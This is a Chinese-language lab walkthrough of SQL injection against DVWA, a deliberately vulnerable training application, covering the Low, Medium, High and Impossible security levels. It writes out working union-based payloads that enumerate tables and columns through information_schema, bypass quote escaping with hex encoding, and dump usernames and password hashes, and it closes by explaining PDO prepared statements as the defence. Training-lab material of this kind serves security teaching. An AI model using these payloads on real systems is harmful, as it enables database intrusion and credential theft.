DVWA全級別之SQL Injection(注入)
DVWA簡介
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑒定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。
DVWA共有十個模塊,分別是
Brute Force(暴力(破解))
Command Injection(命令行注入)
CSRF(跨站請求偽造)
File Inclusion(文件包含)
File Upload(文件上傳)
Insecure CAPTCHA (不安全的驗證碼)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站腳本)
XSS(Stored)(存儲型跨站腳本)
今天我們來學習SQL Injection(SQL注入)
SQL Injection,即SQL注入,是指攻擊者通過注入惡意的SQL命令,破壞SQL查詢語句的結構,從而達到執行惡意SQL語句的目的。SQL注入漏洞的危害是巨大的,常常會導致整個數據庫被“脫褲”,盡管如此,SQL注入仍是現在最常見的Web漏洞之一。
手工注入(非盲注)步驟分析:
1.判斷是否存在注入,注入是字符型還是數字型
2.猜解SQL查詢語句中的字段數
3.確定顯示的字段順序
4.獲取當前數據庫
5.獲取數據庫中的表
6.獲取表中的字段名
7.下載數據
Low
首先打開dvwa,將等級改為low;
查看服務器端核心代碼;
可以看到,Low級別的代碼對來自客戶端的參數id沒有進行任何的檢查與過濾,存在明顯的SQL注入。
判斷是否存在注入,注入是字符型還是數字型
輸入1 查詢成功;
輸入1’ and ‘1’=’2 查詢失敗,返回結果為空;
猜解SQL查詢語句中的字段數,輸入:1' or 1=1 order by # 查詢成功;
1' or 1=1 order by 2# 查詢成功;
1' or 1=1 order by 3# 查詢失敗;
說明執行的SQL查詢語句中只有兩個字段,即這里的First name、Surname。(這里也可以通過輸入union select 1,2,3…來猜解字段數)
確定顯示的字段順序,輸入1′ union select 1,2 #,查詢成功;
說明執行的SQL語句為select First name,Surname from 表 where ID=’id’…
獲取當前數據庫,輸入 1' union select 1,database() # 查詢成功,當前數據庫為dvwa;
獲取數據庫中的表,輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
獲取表中的字段名,輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users' #
查詢users表中所有用戶的數據,輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
Medium
中級加入了一些防御,不讓用戶輸入,只提供選擇(可用burpsuit抓包來繞過)
查看服務器端核心代碼;
可以看到,Medium級別的代碼利用mysql_real_escape_string函數對特殊符號
\x00,\n,\r,\,’,”,\x1a進行轉義,同時前端頁面設置了下拉選擇表單,希望以此來控制用戶的輸入。
通過burpsuit抓包,修改數據包,繞過防御。判斷注入點,以及注入的類型;
輸入 1 and 1=1# 查詢,存在數字型注入;
猜解SQL查詢語句中的字段數, 抓包更改參數id為 1 order by 2# 查詢成功;
抓包更改參數id為 1 order by 3# 查詢失敗,說明查詢語句中只有兩個字段;
確定顯示的字段順序,抓包更改參數id為1 union select 1,2 # 查詢成功;
獲取當前數據庫,抓包更改參數id為1 union select 1,database() #,查詢成功;
獲取數據庫中的表,1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #查詢成功;
獲取表中的字段名,1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’# 查詢失敗;
這是因為單引號被轉義了,變成了\’。
可以利用16進制進行繞過,抓包更改參數id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢成功:
下載數據,抓包修改參數id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功;
High
查看服務器端核心代碼,
可以看到,與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1,希望以此控制只輸出一個結果,雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉。由於手工注入的過程與Low級別基本一樣,直接進行最后一步下載數據。
輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功;
High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止一般的sqlmap注入,因為sqlmap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入。
Impossible
查看服務器端核心代碼,
可以看到,Impossible級別的代碼采用了PDO技術,划清了代碼與數據的界限,有效防御SQL注入,同時只有返回的查詢結果數量為一時,才會成功輸出,這樣就有效預防了“脫褲”,Anti-CSRFtoken機制的加入了進一步提高了安全性。